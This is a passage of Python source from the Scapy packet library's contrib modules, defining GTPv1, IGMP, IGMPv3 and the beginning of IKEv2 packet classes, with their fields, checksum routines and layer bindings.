ByteEnumField("ietype", 19, IEType), ByteEnumField("indicator", "True", TeardownInd_value) ] def extract_padding(self, pkt): return "",pkt class IE_NSAPI(Packet): # Identifies a PDP context in a mobility management context specified by TEICP name = "NSAPI" fields_desc = [ ByteEnumField("ietype", 20, IEType), XBitField("sparebits", 0x0000, 4), XBitField("NSAPI", RandNum(0, 15), 4) ] def extract_padding(self, pkt): return "",pkt class IE_ChargingCharacteristics(Packet): # Way of informing both the SGSN and GGSN of the rules for name = "Charging Characteristics" fields_desc = [ ByteEnumField("ietype", 26, IEType), # producing charging information based on operator configured triggers. # 0000 .... .... .... : spare # .... 1... .... .... : normal charging # .... .0.. .... .... : prepaid charging # .... ..0. .... .... : flat rate charging # .... ...0 .... .... : hot billing charging # .... .... 0000 0000 : reserved XBitField("Ch_ChSpare", None, 4), XBitField("normal_charging", None, 1), XBitField("prepaid_charging", None, 1), XBitField("flat_rate_charging", None, 1), XBitField("hot_billing_charging", None, 1), XBitField("Ch_ChReserved", 0, 8) ] def extract_padding(self, pkt): return "",pkt class IE_TraceReference(Packet): # Identifies a record or a collection of records for a particular trace. name = "Trace Reference" fields_desc = [ ByteEnumField("ietype", 27, IEType), XBitField("Trace_reference", None, 16) ] def extract_padding(self, pkt): return "",pkt class IE_TraceType(Packet): # Indicates the type of the trace name = "Trace Type" fields_desc = [ ByteEnumField("ietype", 28, IEType), XBitField("Trace_type", None, 16) ] def extract_padding(self, pkt): return "",pkt class IE_EndUserAddress(Packet): # Supply protocol specific information of the external packet name = "End User Addresss" fields_desc = [ ByteEnumField("ietype", 128, IEType), # data network accessed by the GGPRS subscribers. # - Request # 1 Type (1byte) # 2-3 Length (2bytes) - value 2 # 4 Spare + PDP Type Organization # 5 PDP Type Number # - Response # 6-n PDP Address BitField("EndUserAddressLength", 2, 16), BitField("EndUserAddress", 1111, 4), BitField("PDPTypeOrganization", 1, 4), XByteField("PDPTypeNumber", None) ] def extract_padding(self, pkt): return "",pkt class APNStrLenField(StrLenField): # Inspired by DNSStrField def m2i(self, pkt, s): ret_s = "" tmp_s = s while tmp_s: tmp_len = struct.unpack("!B", tmp_s[0])[0] + 1 if tmp_len > len(tmp_s): warning("APN prematured end of character-string (size=%i, remaining bytes=%i)" % (tmp_len, len(tmp_s))) ret_s += tmp_s[1:tmp_len] tmp_s = tmp_s[tmp_len:] if len(tmp_s) : ret_s += "." s = ret_s return s def i2m(self, pkt, s): s = "".join(map(lambda x: chr(len(x))+x, s.split("."))) return s class IE_AccessPointName(Packet): # Sent by SGSN or by GGSN as defined in 3GPP TS 23.060 name = "Access Point Name" fields_desc = [ ByteEnumField("ietype", 131, IEType), ShortField("length", None), APNStrLenField("APN", "nternet", length_from=lambda x: x.length) ] def extract_padding(self, pkt): return "",pkt def post_build(self, p, pay): if self.length is None: l = len(p)-3 p = p[:2] + struct.pack("!B", l)+ p[3:] return p class IE_ProtocolConfigurationOptions(Packet): name = "Protocol Configuration Options" fields_desc = [ ByteEnumField("ietype", 132, IEType), ShortField("length", 4), StrLenField("Protocol Configuration", "", length_from=lambda x: x.length) ] def extract_padding(self, pkt): return "",pkt class IE_GSNAddress(Packet): name = "GSN Address" fields_desc = [ ByteEnumField("ietype", 133, IEType), ShortField("length", 4), IPField("address", RandIP()) ] def extract_padding(self, pkt): return "",pkt class IE_MSInternationalNumber(Packet): name = "MS International Number" fields_desc = [ ByteEnumField("ietype", 134, IEType), ShortField("length", None), FlagsField("flags", 0x91, 8, ["Extension","","","International Number","","","","ISDN numbering"]), TBCDByteField("digits", "33607080910", length_from=lambda x: x.length-1) ] def extract_padding(self, pkt): return "",pkt class IE_UserLocationInformation(Packet): name = "User Location Information" fields_desc = [ ByteEnumField("ietype", 152, IEType), ShortField("length", None), ByteField("type", 1), # Only type 1 is currently supported TBCDByteField("MCC", "", 2), # MNC: if the third digit of MCC is 0xf, then the length of MNC is 1 byte TBCDByteField("MNC", "", 1), ShortField("LAC", None), ShortField("SAC", None) ] def extract_padding(self, pkt): return "",pkt class IE_IMEI(Packet): name = "IMEI" fields_desc = [ ByteEnumField("ietype", 154, IEType), ShortField("length", None), TBCDByteField("IMEI", "", length_from=lambda x: x.length) ] def extract_padding(self, pkt): return "",pkt class IE_NotImplementedTLV(Packet): name = "IE not implemented" fields_desc = [ ByteEnumField("ietype", 0, IEType), ShortField("length", None), StrLenField("data", "", length_from=lambda x: x.length) ] def extract_padding(self, pkt): return "",pkt ietypecls = { 1: IE_Cause, 2: IE_IMSI, 3: IE_Routing, 14: IE_Recovery, 15: IE_SelectionMode, 16: IE_TEIDI, 17: IE_TEICP, 19: IE_Teardown, 20: IE_NSAPI, 26: IE_ChargingCharacteristics, 27: IE_TraceReference, 28: IE_TraceType, 128: IE_EndUserAddress, 131: IE_AccessPointName, 132: IE_ProtocolConfigurationOptions, 133: IE_GSNAddress, 134: IE_MSInternationalNumber, 152: IE_UserLocationInformation, 154: IE_IMEI } def IE_Dispatcher(s): """Choose the correct Information Element class.""" if len(s) < 1: return Raw(s) # Get the IE type ietype = ord(s[0]) cls = ietypecls.get(ietype, Raw) # if ietype greater than 128 are TLVs if cls == Raw and ietype & 128 == 128: cls = IE_NotImplementedTLV return cls(s) class GTPEchoResponse(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Echo Response" fields_desc = [ XBitField("seq", 0, 16), ByteField("npdu", 0), ByteField("next_ex", 0), PacketListField("IE_list", [], IE_Dispatcher) ] def hashret(self): return struct.pack("H", self.seq) def answers(self, other): return self.seq == other.seq class GTPCreatePDPContextRequest(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Create PDP Context Request" fields_desc = [ ShortField("seq", RandShort()), ByteField("npdu", 0), ByteField("next_ex", 0), PacketListField("IE_list", [ IE_TEIDI(), IE_NSAPI(), IE_GSNAddress(), IE_GSNAddress(), IE_NotImplementedTLV(ietype=135, length=15,data=RandString(15)) ], IE_Dispatcher) ] def hashret(self): return struct.pack("H", self.seq) class GTPCreatePDPContextResponse(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Create PDP Context Response" fields_desc = [ ShortField("seq", RandShort()), ByteField("npdu", 0), ByteField("next_ex", 0), PacketListField("IE_list", [], IE_Dispatcher) ] def hashret(self): return struct.pack("H", self.seq) def answers(self, other): return self.seq == other.seq class GTPErrorIndication(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Error Indication" fields_desc = [ XBitField("seq", 0, 16), ByteField("npdu", 0), ByteField("next_ex",0), PacketListField("IE_list", [], IE_Dispatcher) ] class GTPDeletePDPContextRequest(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Delete PDP Context Request" fields_desc = [ XBitField("seq", 0, 16), ByteField("npdu", 0), ByteField("next_ex", 0), PacketListField("IE_list", [], IE_Dispatcher) ] class GTPDeletePDPContextResponse(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Delete PDP Context Response" fields_desc = [ XBitField("seq", 0, 16), ByteField("npdu", 0), ByteField("next_ex",0), PacketListField("IE_list", [], IE_Dispatcher) ] class GTPPDUNotificationRequest(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP PDU Notification Request" fields_desc = [ XBitField("seq", 0, 16), ByteField("npdu", 0), ByteField("next_ex", 0), PacketListField("IE_list", [ IE_IMSI(), IE_TEICP(TEICI=RandInt()), IE_EndUserAddress(PDPTypeNumber=0x21), IE_AccessPointName(), IE_GSNAddress(address="127.0.0.1"), ], IE_Dispatcher) ] class GTP_U_Header(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP-U Header" # GTP-U protocol is used to transmit T-PDUs between GSN pairs (or between an SGSN and an RNC in UMTS), # encapsulated in G-PDUs. A G-PDU is a packet including a GTP-U header and a T-PDU. The Path Protocol # defines the path and the GTP-U header defines the tunnel. Several tunnels may be multiplexed on a single path. fields_desc = [ BitField("version", 1,3), BitField("PT", 1, 1), BitField("Reserved", 0, 1), BitField("E", 0,1), BitField("S", 0, 1), BitField("PN", 0, 1), ByteEnumField("gtp_type", None, GTPmessageType), BitField("length", None, 16), XBitField("TEID", 0, 32), ConditionalField(XBitField("seq", 0, 16), lambda pkt:pkt.E==1 or pkt.S==1 or pkt.PN==1), ConditionalField(ByteField("npdu", 0), lambda pkt:pkt.E==1 or pkt.S==1 or pkt.PN==1), ConditionalField(ByteField("next_ex", 0), lambda pkt:pkt.E==1 or pkt.S==1 or pkt.PN==1), ] def post_build(self, p, pay): p += pay if self.length is None: l = len(p)-8 p = p[:2] + struct.pack("!H", l)+ p[4:] return p class GTPmorethan1500(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP More than 1500" fields_desc = [ ByteEnumField("IE_Cause", "Cause", IEType), BitField("IE", 1, 12000),] # Bind GTP-C bind_layers(UDP, GTPHeader, dport = 2123) bind_layers(UDP, GTPHeader, sport = 2123) bind_layers(GTPHeader, GTPEchoRequest, gtp_type = 1) bind_layers(GTPHeader, GTPEchoResponse, gtp_type = 2) bind_layers(GTPHeader, GTPCreatePDPContextRequest, gtp_type = 16) bind_layers(GTPHeader, GTPCreatePDPContextResponse, gtp_type = 17) bind_layers(GTPHeader, GTPDeletePDPContextRequest, gtp_type = 20) bind_layers(GTPHeader, GTPDeletePDPContextResponse, gtp_type = 21) bind_layers(GTPHeader, GTPPDUNotificationRequest, gtp_type = 27) # Bind GTP-U bind_layers(UDP, GTP_U_Header, dport = 2152) bind_layers(UDP, GTP_U_Header, sport = 2152) bind_layers(GTP_U_Header, IP, gtp_type = 255) if __name__ == "__main__": from scapy.all import * interact(mydict=globals(), mybanner="GTPv1 add-on") scapy-0.23/scapy/contrib/igmp.py000066400000000000000000000142061320561231000166360ustar00rootroot00000000000000#! /usr/bin/env python # scapy.contrib.description = IGMP/IGMPv2 # scapy.contrib.status = loads # TODO: scapy 2 has function getmacbyip, maybe it can replace igmpize # at least from the MAC layer from scapy.all import * #-------------------------------------------------------------------------- def isValidMCAddr(ip): """convert dotted quad string to long and check the first octet""" FirstOct=atol(ip)>>24 & 0xFF return (FirstOct >= 224) and (FirstOct <= 239) #-------------------------------------------------------------------------- class IGMP(Packet): """IGMP Message Class for v1 and v2. This class is derived from class Packet. You need to "igmpize" the IP and Ethernet layers before a full packet is sent. a=Ether(src="00:01:02:03:04:05") b=IP(src="1.2.3.4") c=IGMP(type=0x12, gaddr="224.2.3.4") c.igmpize(b, a) print("Joining IP " + c.gaddr + " MAC " + a.dst) sendp(a/b/c, iface="en0") Parameters: type IGMP type field, 0x11, 0x12, 0x16 or 0x17 mrtime Maximum Response time (zero for v1) gaddr Multicast Group Address 224.x.x.x/4 See RFC2236, Section 2. Introduction for definitions of proper IGMPv2 message format http://www.faqs.org/rfcs/rfc2236.html """ name = "IGMP" igmptypes = { 0x11 : "Group Membership Query", 0x12 : "Version 1 - Membership Report", 0x16 : "Version 2 - Membership Report", 0x17 : "Leave Group"} fields_desc = [ ByteEnumField("type", 0x11, igmptypes), ByteField("mrtime",20), XShortField("chksum", None), IPField("gaddr", "0.0.0.0")] #-------------------------------------------------------------------------- def post_build(self, p, pay): """Called implicitly before a packet is sent to compute and place IGMP checksum. Parameters: self The instantiation of an IGMP class p The IGMP message in hex in network byte order pay Additional payload for the IGMP message """ p += pay if self.chksum is None: ck = checksum(p[:2]+p[4:]) p = p[:2]+ck.to_bytes(2, 'big')+p[4:] return p #-------------------------------------------------------------------------- def mysummary(self): """Display a summary of the IGMP object.""" if isinstance(self.underlayer, IP): return self.underlayer.sprintf("IGMP: %IP.src% > %IP.dst% %IGMP.type% %IGMP.gaddr%") else: return self.sprintf("IGMP %IGMP.type% %IGMP.gaddr%") #-------------------------------------------------------------------------- def igmpize(self, ip=None, ether=None): """Called to explicitely fixup associated IP and Ethernet headers Parameters: self The instantiation of an IGMP class. ip The instantiation of the associated IP class. ether The instantiation of the associated Ethernet. Returns: True The tuple ether/ip/self passed all check and represents a proper IGMP packet. False One of more validation checks failed and no fields were adjusted. The function will examine the IGMP message to assure proper format. Corrections will be attempted if possible. The IP header is then properly adjusted to ensure correct formatting and assignment. The Ethernet header is then adjusted to the proper IGMP packet format. """ # The rules are: # 1. the Max Response time is meaningful only in Membership Queries and should be zero # otherwise (RFC 2236, section 2.2) if (self.type != 0x11): #rule 1 self.mrtime = 0 if (self.adjust_ip(ip) == True): if (self.adjust_ether(ip, ether) == True): return True return False #-------------------------------------------------------------------------- def adjust_ether (self, ip=None, ether=None): """Called to explicitely fixup an associated Ethernet header The function adjusts the ethernet header destination MAC address based on the destination IP address. """ # The rules are: # 1. send to the group mac address address corresponding to the IP.dst if ip != None and ip.haslayer(IP) and ether != None and ether.haslayer(Ether): iplong = atol(ip.dst) ether.dst = "01:00:5e:%02x:%02x:%02x" % ( (iplong>>16)&0x7F, (iplong>>8)&0xFF, (iplong)&0xFF ) # print "igmpize ip " + ip.dst + " as mac " + ether.dst return True else: return False #-------------------------------------------------------------------------- def adjust_ip (self, ip=None): """Called to explicitely fixup an associated IP header The function adjusts the IP header based on conformance rules and the group address encoded in the IGMP message. The rules are: 1. Send General Group Query to 224.0.0.1 (all systems) 2. Send Leave Group to 224.0.0.2 (all routers) 3a.Otherwise send the packet to the group address 3b.Send reports/joins to the group address 4. ttl = 1 (RFC 2236, section 2) 5. send the packet with the router alert IP option (RFC 2236, section 2) """ if ip != None and ip.haslayer(IP): if (self.type == 0x11): if (self.gaddr == "0.0.0.0"): ip.dst = "224.0.0.1" # IP rule 1 retCode = True elif isValidMCAddr(self.gaddr): ip.dst = self.gaddr # IP rule 3a retCode = True else: print("Warning: Using invalid Group Address") retCode = False elif ((self.type == 0x17) and isValidMCAddr(self.gaddr)): ip.dst = "224.0.0.2" # IP rule 2 retCode = True elif ((self.type == 0x12) or (self.type == 0x16)) and (isValidMCAddr(self.gaddr)): ip.dst = self.gaddr # IP rule 3b retCode = True else: print("Warning: Using invalid IGMP Type") retCode = False else: print("Warning: No IGMP Group Address set") retCode = False if retCode == True: ip.ttl=1 # IP Rule 4 ip.options=[IPOption_Router_Alert()] # IP rule 5 return retCode bind_layers( IP, IGMP, frag=0, proto=2) scapy-0.23/scapy/contrib/igmpv3.py000066400000000000000000000247341320561231000171160ustar00rootroot00000000000000#! /usr/bin/env python # http://trac.secdev.org/scapy/ticket/31 # scapy.contrib.description = IGMPv3 # scapy.contrib.status = loads from scapy.packet import * """ Based on the following references http://www.iana.org/assignments/igmp-type-numbers http://www.rfc-editor.org/rfc/pdfrfc/rfc3376.txt.pdf """ # TODO: Merge IGMPv3 packet Bindlayers correct for # membership source/Group records # ConditionalField parameters for IGMPv3 commented out # # See RFC3376, Section 4. Message Formats for definitions of proper IGMPv3 message format # http://www.faqs.org/rfcs/rfc3376.html # # See RFC4286, For definitions of proper messages for Multicast Router Discovery. # http://www.faqs.org/rfcs/rfc4286.html # #import sys, socket, struct, time from scapy.all import * print("IGMPv3 is still under development - Nov 2010") class IGMPv3gr(Packet): """IGMP Group Record for IGMPv3 Membership Report This class is derived from class Packet and should be concatenated to an instantiation of class IGMPv3. Within the IGMPv3 instantiation, the numgrp element will need to be manipulated to indicate the proper number of group records. """ name = "IGMPv3gr" igmpv3grtypes = { 1 : "Mode Is Include", 2 : "Mode Is Exclude", 3 : "Change To Include Mode", 4 : "Change To Exclude Mode", 5 : "Allow New Sources", 6 : "Block Old Sources"} fields_desc = [ ByteEnumField("rtype", 1, igmpv3grtypes), ByteField("auxdlen",0), FieldLenField("numsrc", None, "srcaddrs"), IPField("maddr", "0.0.0.0"), FieldListField("srcaddrs", None, IPField("sa", "0.0.0.0"), "numsrc") ] #show_indent=0 #-------------------------------------------------------------------------- def post_build(self, p, pay): """Called implicitly before a packet is sent. """ p += pay if self.auxdlen != 0: print("NOTICE: A properly formatted and complaint V3 Group Record should have an Auxiliary Data length of zero (0).") print(" Subsequent Group Records are lost!") return p #-------------------------------------------------------------------------- def mysummary(self): """Display a summary of the IGMPv3 group record.""" return self.sprintf("IGMPv3 Group Record %IGMPv3gr.type% %IGMPv3gr.maddr%") class IGMPv3(Packet): """IGMP Message Class for v3. This class is derived from class Packet. The fields defined below are a direct interpretation of the v3 Membership Query Message. Fields 'type' through 'qqic' are directly assignable. For 'numsrc', do not assign a value. Instead add to the 'srcaddrs' list to auto-set 'numsrc'. To assign values to 'srcaddrs', use the following methods: c = IGMPv3() c.srcaddrs = ['1.2.3.4', '5.6.7.8'] c.srcaddrs += ['192.168.10.24'] At this point, 'c.numsrc' is three (3) 'chksum' is automagically calculated before the packet is sent. 'mrcode' is also the Advertisement Interval field """ name = "IGMPv3" igmpv3types = { 0x11 : "Membership Query", 0x22 : "Version 3 Membership Report", 0x30 : "Multicast Router Advertisement", 0x31 : "Multicast Router Solicitation", 0x32 : "Multicast Router Termination"} fields_desc = [ ByteEnumField("type", 0x11, igmpv3types), ByteField("mrcode",0), XShortField("chksum", None), IPField("gaddr", "0.0.0.0") ] # use float_encode() # if type = 0x11 (Membership Query), the next field is group address # ConditionalField(IPField("gaddr", "0.0.0.0"), "type", lambda x:x==0x11), # else if type = 0x22 (Membership Report), the next fields are # reserved and number of group records #ConditionalField(ShortField("rsvd2", 0), "type", lambda x:x==0x22), #ConditionalField(ShortField("numgrp", 0), "type", lambda x:x==0x22), # FieldLenField("numgrp", None, "grprecs")] # else if type = 0x30 (Multicast Router Advertisement), the next fields are # query interval and robustness #ConditionalField(ShortField("qryIntvl", 0), "type", lambda x:x==0x30), #ConditionalField(ShortField("robust", 0), "type", lambda x:x==0x30), # The following are only present for membership queries # ConditionalField(BitField("resv", 0, 4), "type", lambda x:x==0x11), # ConditionalField(BitField("s", 0, 1), "type", lambda x:x==0x11), # ConditionalField(BitField("qrv", 0, 3), "type", lambda x:x==0x11), # ConditionalField(ByteField("qqic",0), "type", lambda x:x==0x11), # ConditionalField(FieldLenField("numsrc", None, "srcaddrs"), "type", lambda x:x==0x11), # ConditionalField(FieldListField("srcaddrs", None, IPField("sa", "0.0.0.0"), "numsrc"), "type", lambda x:x==0x11), #-------------------------------------------------------------------------- def float_encode(self, value): """Convert the integer value to its IGMPv3 encoded time value if needed. If value < 128, return the value specified. If >= 128, encode as a floating point value. Value can be 0 - 31744. """ if value < 128: code = value elif value > 31743: code = 255 else: exp=0 value>>=3 while(value>31): exp+=1 value>>=1 exp<<=4 code = 0x80 | exp | (value & 0x0F) return code #-------------------------------------------------------------------------- def post_build(self, p, pay): """Called implicitly before a packet is sent to compute and place IGMPv3 checksum. Parameters: self The instantiation of an IGMPv3 class p The IGMPv3 message in hex in network byte order pay Additional payload for the IGMPv3 message """ p += pay if self.type in [0, 0x31, 0x32, 0x22]: # for these, field is reserved (0) p = p[:1]+chr(0)+p[2:] if self.chksum is None: ck = checksum(p[:2]+p[4:]) p = p[:2]+ck.to_bytes(2, 'big')+p[4:] return p #-------------------------------------------------------------------------- def mysummary(self): """Display a summary of the IGMPv3 object.""" if isinstance(self.underlayer, IP): return self.underlayer.sprintf("IGMPv3: %IP.src% > %IP.dst% %IGMPv3.type% %IGMPv3.gaddr%") else: return self.sprintf("IGMPv3 %IGMPv3.type% %IGMPv3.gaddr%") #-------------------------------------------------------------------------- def igmpize(self, ip=None, ether=None): """Called to explicitely fixup associated IP and Ethernet headers Parameters: self The instantiation of an IGMP class. ip The instantiation of the associated IP class. ether The instantiation of the associated Ethernet. Returns: True The tuple ether/ip/self passed all check and represents a proper IGMP packet. False One of more validation checks failed and no fields were adjusted. The function will examine the IGMP message to assure proper format. Corrections will be attempted if possible. The IP header is then properly adjusted to ensure correct formatting and assignment. The Ethernet header is then adjusted to the proper IGMP packet format. """ # The rules are: # 1. ttl = 1 (RFC 2236, section 2) # igmp_binds = [ (IP, IGMP, { "proto": 2 , "ttl": 1 }), # 2. tos = 0xC0 (RFC 3376, section 4) # (IP, IGMPv3, { "proto": 2 , "ttl": 1, "tos":0xc0 }), # (IGMPv3, IGMPv3gr, { }) ] # The rules are: # 1. the Max Response time is meaningful only in Membership Queries and should be zero # otherwise (RFC 2236, section 2.2) if (self.type != 0x11): #rule 1 self.mrtime = 0 if (self.adjust_ip(ip) == True): if (self.adjust_ether(ip, ether) == True): return True return False #-------------------------------------------------------------------------- def adjust_ether (self, ip=None, ether=None): """Called to explicitely fixup an associated Ethernet header The function adjusts the ethernet header destination MAC address based on the destination IP address. """ # The rules are: # 1. send to the group mac address address corresponding to the IP.dst if ip != None and ip.haslayer(IP) and ether != None and ether.haslayer(Ether): iplong = atol(ip.dst) ether.dst = "01:00:5e:%02x:%02x:%02x" % ( (iplong>>16)&0x7F, (iplong>>8)&0xFF, (iplong)&0xFF ) # print "igmpize ip " + ip.dst + " as mac " + ether.dst return True else: return False #-------------------------------------------------------------------------- def adjust_ip (self, ip=None): """Called to explicitely fixup an associated IP header The function adjusts the IP header based on conformance rules and the group address encoded in the IGMP message. The rules are: 1. Send General Group Query to 224.0.0.1 (all systems) 2. Send Leave Group to 224.0.0.2 (all routers) 3a.Otherwise send the packet to the group address 3b.Send reports/joins to the group address 4. ttl = 1 (RFC 2236, section 2) 5. send the packet with the router alert IP option (RFC 2236, section 2) """ if ip != None and ip.haslayer(IP): if (self.type == 0x11): if (self.gaddr == "0.0.0.0"): ip.dst = "224.0.0.1" # IP rule 1 retCode = True elif isValidMCAddr(self.gaddr): ip.dst = self.gaddr # IP rule 3a retCode = True else: print("Warning: Using invalid Group Address") retCode = False elif ((self.type == 0x17) and isValidMCAddr(self.gaddr)): ip.dst = "224.0.0.2" # IP rule 2 retCode = True elif ((self.type == 0x12) or (self.type == 0x16)) and (isValidMCAddr(self.gaddr)): ip.dst = self.gaddr # IP rule 3b retCode = True else: print("Warning: Using invalid IGMP Type") retCode = False else: print("Warning: No IGMP Group Address set") retCode = False if retCode == True: ip.ttl=1 # IP Rule 4 ip.options=[IPOption_Router_Alert()] # IP rule 5 return retCode bind_layers( IP, IGMPv3, frag=0, proto=2, ttl=1, tos=0xc0) bind_layers( IGMPv3, IGMPv3gr, frag=0, proto=2) bind_layers( IGMPv3gr, IGMPv3gr, frag=0, proto=2) scapy-0.23/scapy/contrib/ikev2.py000066400000000000000000000425361320561231000167310ustar00rootroot00000000000000#!/usr/bin/env python # http://trac.secdev.org/scapy/ticket/353 # scapy.contrib.description = IKEv2 # scapy.contrib.status = loads from scapy.all import * import logging ## Modified from the original ISAKMP code by Yaron Sheffer , June 2010. import struct from scapy.packet import * from scapy.fields import * from scapy.ansmachine import * from scapy.layers.inet import IP,UDP from scapy.sendrecv import sr # see http://www.iana.org/assignments/ikev2-parameters for details IKEv2AttributeTypes= { "Encryption": (1, { "DES-IV64" : 1, "DES" : 2, "3DES" : 3, "RC5" : 4, "IDEA" : 5, "CAST" : 6, "Blowfish" : 7, "3IDEA" : 8, "DES-IV32" : 9, "AES-CBC" : 12, "AES-CTR" : 13, "AES-CCM-8" : 14, "AES-CCM-12" : 15, "AES-CCM-16" : 16, "AES-GCM-8ICV" : 18, "AES-GCM-12ICV" : 19, "AES-GCM-16ICV" : 20, "Camellia-CBC" : 23, "Camellia-CTR" : 24, "Camellia-CCM-8ICV" : 25, "Camellia-CCM-12ICV" : 26, "Camellia-CCM-16ICV" : 27, }, 0), "PRF": (2, {"PRF_HMAC_MD5":1, "PRF_HMAC_SHA1":2, "PRF_HMAC_TIGER":3, "PRF_AES128_XCBC":4, "PRF_HMAC_SHA2_256":5, "PRF_HMAC_SHA2_384":6, "PRF_HMAC_SHA2_512":7, "PRF_AES128_CMAC":8, }, 0), "Integrity": (3, { "HMAC-MD5-96": 1, "HMAC-SHA1-96": 2, "DES-MAC": 3, "KPDK-MD5": 4, "AES-XCBC-96": 5, "HMAC-MD5-128": 6, "HMAC-SHA1-160": 7, "AES-CMAC-96": 8, "AES-128-GMAC": 9, "AES-192-GMAC": 10, "AES-256-GMAC": 11, "SHA2-256-128": 12, "SHA2-384-192": 13, "SHA2-512-256": 14, }, 0), "GroupDesc": (4, { "768MODPgr" : 1, "1024MODPgr" : 2, "1536MODPgr" : 5, "2048MODPgr" : 14, "3072MODPgr" : 15, "4096MODPgr" : 16, "6144MODPgr" : 17, "8192MODPgr" : 18, "256randECPgr" : 19, "384randECPgr" : 20, "521randECPgr" : 21, "1024MODP160POSgr" : 22, "2048MODP224POSgr" : 23, "2048MODP256POSgr" : 24, "192randECPgr" : 25, "224randECPgr" : 26, }, 0), "Extended Sequence Number": (5, {"No ESN": 0, "ESN": 1, }, 0), } IKEv2NotifyMessageTypes = { 1 : "UNSUPPORTED_CRITICAL_PAYLOAD", 4 : "INVALID_IKE_SPI", 5 : "INVALID_MAJOR_VERSION", 7 : "INVALID_SYNTAX", 9 : "INVALID_MESSAGE_ID", 11 : "INVALID_SPI", 14 : "NO_PROPOSAL_CHOSEN", 17 : "INVALID_KE_PAYLOAD", 24 : "AUTHENTICATION_FAILED", 34 : "SINGLE_PAIR_REQUIRED", 35 : "NO_ADDITIONAL_SAS", 36 : "INTERNAL_ADDRESS_FAILURE", 37 : "FAILED_CP_REQUIRED", 38 : "TS_UNACCEPTABLE", 39 : "INVALID_SELECTORS", 40 : "UNACCEPTABLE_ADDRESSES", 41 : "UNEXPECTED_NAT_DETECTED", 42 : "USE_ASSIGNED_HoA", 43 : "TEMPORARY_FAILURE", 44 : "CHILD_SA_NOT_FOUND", 45 : "INVALID_GROUP_ID", 46 : "AUTHORIZATION_FAILED", 16384 : "INITIAL_CONTACT", 16385 : "SET_WINDOW_SIZE", 16386 : "ADDITIONAL_TS_POSSIBLE", 16387 : "IPCOMP_SUPPORTED", 16388 : "NAT_DETECTION_SOURCE_IP", 16389 : "NAT_DETECTION_DESTINATION_IP", 16390 : "COOKIE", 16391 : "USE_TRANSPORT_MODE", 16392 : "HTTP_CERT_LOOKUP_SUPPORTED", 16393 : "REKEY_SA", 16394 : "ESP_TFC_PADDING_NOT_SUPPORTED", 16395 : "NON_FIRST_FRAGMENTS_ALSO", 16396 : "MOBIKE_SUPPORTED", 16397 : "ADDITIONAL_IP4_ADDRESS", 16398 : "ADDITIONAL_IP6_ADDRESS", 16399 : "NO_ADDITIONAL_ADDRESSES", 16400 : "UPDATE_SA_ADDRESSES", 16401 : "COOKIE2", 16402 : "NO_NATS_ALLOWED", 16403 : "AUTH_LIFETIME", 16404 : "MULTIPLE_AUTH_SUPPORTED", 16405 : "ANOTHER_AUTH_FOLLOWS", 16406 : "REDIRECT_SUPPORTED", 16407 : "REDIRECT", 16408 : "REDIRECTED_FROM", 16409 : "TICKET_LT_OPAQUE", 16410 : "TICKET_REQUEST", 16411 : "TICKET_ACK", 16412 : "TICKET_NACK", 16413 : "TICKET_OPAQUE", 16414 : "LINK_ID", 16415 : "USE_WESP_MODE", 16416 : "ROHC_SUPPORTED", 16417 : "EAP_ONLY_AUTHENTICATION", 16418 : "CHILDLESS_IKEV2_SUPPORTED", 16419 : "QUICK_CRASH_DETECTION", 16420 : "IKEV2_MESSAGE_ID_SYNC_SUPPORTED", 16421 : "IPSEC_REPLAY_COUNTER_SYNC_SUPPORTED", 16422 : "IKEV2_MESSAGE_ID_SYNC", 16423 : "IPSEC_REPLAY_COUNTER_SYNC", 16424 : "SECURE_PASSWORD_METHODS", 16425 : "PSK_PERSIST", 16426 : "PSK_CONFIRM", 16427 : "ERX_SUPPORTED", 16428 : "IFOM_CAPABILITY", 16429 : "SENDER_REQUEST_ID", 16430 : "IKEV2_FRAGMENTATION_SUPPORTED", 16431 : "SIGNATURE_HASH_ALGORITHMS", 16432 : "CLONE_IKE_SA_SUPPORTED", 16433 : "CLONE_IKE_SA" } IKEv2CertificateEncodings = { 1 : "PKCS #7 wrapped X.509 certificate", 2 : "PGP Certificate", 3 : "DNS Signed Key", 4 : "X.509 Certificate - Signature", 6 : "Kerberos Token", 7 : "Certificate Revocation List (CRL)", 8 : "Authority Revocation List (ARL)", 9 : "SPKI Certificate", 10 : "X.509 Certificate - Attribute", 11 : "Raw RSA Key", 12 : "Hash and URL of X.509 certificate", 13 : "Hash and URL of X.509 bundle" } # the name 'IKEv2TransformTypes' is actually a misnomer (since the table # holds info for all IKEv2 Attribute types, not just transforms, but we'll # keep it for backwards compatibility... for now at least IKEv2TransformTypes = IKEv2AttributeTypes IKEv2TransformNum = {} for n in IKEv2TransformTypes: val = IKEv2TransformTypes[n] tmp = {} for e in val[1]: tmp[val[1][e]] = e IKEv2TransformNum[val[0]] = tmp IKEv2Transforms = {} for n in IKEv2TransformTypes: IKEv2Transforms[IKEv2TransformTypes[n][0]]=n del(n) del(e) del(tmp) del(val) # Note: Transform and Proposal can only be used inside the SA payload IKEv2_payload_type = ["None", "", "Proposal", "Transform"] IKEv2_payload_type.extend([""] * 29) IKEv2_payload_type.extend(["SA","KE","IDi","IDr", "CERT","CERTREQ","AUTH","Nonce","Notify","Delete", "VendorID","TSi","TSr","Encrypted","CP","EAP"]) IKEv2_exchange_type = [""] * 34 IKEv2_exchange_type.extend(["IKE_SA_INIT","IKE_AUTH","CREATE_CHILD_SA", "INFORMATIONAL", "IKE_SESSION_RESUME"]) class IKEv2_class(Packet): def guess_payload_class(self, payload): np = self.next_payload logging.debug("For IKEv2_class np=%d" % np) if np == 0: return conf.raw_layer elif np < len(IKEv2_payload_type): pt = IKEv2_payload_type[np] logging.debug(globals().get("IKEv2_payload_%s" % pt, IKEv2_payload)) return globals().get("IKEv2_payload_%s" % pt, IKEv2_payload) else: return IKEv2_payload class IKEv2(IKEv2_class): # rfc4306 name = "IKEv2" fields_desc = [ StrFixedLenField("init_SPI","",8), StrFixedLenField("resp_SPI","",8), ByteEnumField("next_payload",0,IKEv2_payload_type), XByteField("version",0x20), # IKEv2, right? 